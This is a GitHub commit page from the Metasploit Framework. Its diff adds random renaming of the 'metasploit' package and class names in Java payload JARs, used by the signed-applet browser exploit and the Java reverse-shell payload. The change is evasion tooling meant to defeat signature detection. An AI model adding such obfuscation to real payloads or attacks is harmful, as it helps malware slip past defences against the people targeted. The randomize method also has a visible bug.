Skip to content

Commit ac446d3

Browse files
committed
Land rapid7#3043 - randomization for Rex::Zip::Jar and java_signed_applet
2 parents 566a791 + 6c490af commit ac446d3

File tree

5 files changed

+60
-3
lines changed

5 files changed

+60
-3
lines changed

lib/msf/core/payload/java.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,8 @@ def generate
4242
#
4343
# @option opts :main_class [String] the name of the Main-Class
4444
# attribute in the manifest. Defaults to "metasploit.Payload"
45+
# @option opts :random [Boolean] Set to `true` to randomize the
46+
# "metasploit" package name.
4547
# @return [Rex::Zip::Jar]
4648
def generate_jar(opts={})
4749
raise if not respond_to? :config
@@ -54,6 +56,7 @@ def generate_jar(opts={})
5456
] + @class_files
5557

5658
jar = Rex::Zip::Jar.new
59+
jar.add_sub("metasploit") if opts[:random]
5760
jar.add_file("metasploit.dat", config)
5861
jar.add_files(paths, File.join(Msf::Config.data_directory, "java"))
5962
jar.build_manifest(:main_class => main_class)

lib/msf/util/exe.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -961,6 +961,7 @@ def self.to_jar(exe, opts={})
961961
spawn = opts[:spawn] || 2
962962
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
963963
zip = Rex::Zip::Jar.new
964+
zip.add_sub("metasploit") if opts[:random]
964965
paths = [
965966
[ "metasploit", "Payload.class" ],
966967
]

lib/rex/zip/jar.rb

Lines changed: 54 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,17 @@ module Zip
1515
#
1616
class Jar < Archive
1717
attr_accessor :manifest
18+
# @!attribute [rw] substitutions
19+
# The substitutions to apply when randomizing. Randomization is designed to
20+
# be used in packages and/or classes names.
21+
#
22+
# @return [Hash]
23+
attr_accessor :substitutions
24+
25+
def initialize
26+
@substitutions = {}
27+
super
28+
end
1829

1930
#
2031
# Create a MANIFEST.MF file based on the current Archive#entries.
@@ -35,8 +46,8 @@ class Jar < Archive
3546
# The SHA1-Digest lines are optional unless the jar is signed (see #sign).
3647
#
3748
def build_manifest(opts={})
38-
main_class = opts[:main_class] || nil
39-
app_name = opts[:app_name] || nil
49+
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
50+
app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil)
4051
existing_manifest = nil
4152

4253
@manifest = "Manifest-Version: 1.0\r\n"
@@ -224,6 +235,47 @@ def sign(key, cert, ca_certs=nil)
224235
return true
225236
end
226237

238+
# Adds a file to the JAR, randomizing the file name
239+
# and the contents.
240+
#
241+
# @see Rex::Zip::Archive#add_file
242+
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
243+
super(randomize(fname), randomize(fdata), xtra, comment)
244+
end
245+
246+
# Adds a substitution to have into account when randomizing. Substitutions
247+
# must be added immediately after {#initialize}.
248+
#
249+
# @param str [String] String to substitute. It's designed to randomize
250+
# class and/or package names.
251+
# @param bad [String] String containing bad characters to avoid when
252+
# applying substitutions.
253+
# @return [String] The substitution which will be used when randomizing.
254+
def add_sub(str, bad = '')
255+
if @substitutions.key?(str)
256+
return @substitutions[str]
257+
end
258+
259+
@substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
260+
end
261+
262+
# Randomizes an input by applying the `substitutions` available.
263+
#
264+
# @param str [String] String to randomize.
265+
# @return [String] The input `str` with all the possible `substitutions`
266+
# applied.
267+
def randomize(str)
268+
return str if str.nil?
269+
270+
random = str
271+
272+
@substitutions.each do |orig, subs|
273+
random = str.gsub(orig, subs)
274+
end
275+
276+
random
277+
end
278+
227279
end
228280

229281
end

modules/exploits/multi/browser/java_signed_applet.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,7 @@ def on_request_uri( cli, request )
134134

135135
# If we haven't returned yet, then this is a request for our applet
136136
# jar, build one for this victim.
137-
jar = p.encoded_jar
137+
jar = p.encoded_jar(:random => true)
138138

139139
jar.add_file("#{datastore["APPLETNAME"]}.class", @applet_class)
140140

modules/payloads/singles/java/shell_reverse_tcp.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ def initialize(info = {})
4343

4444
def generate_jar(opts={})
4545
jar = Rex::Zip::Jar.new
46+
jar.add_sub("metasploit") if opts[:random]
4647
@class_files.each do |path|
4748
1.upto(path.length - 1) do |idx|
4849
full = path[0,idx].join("/") + "/"

0 commit comments

Comments
 (0)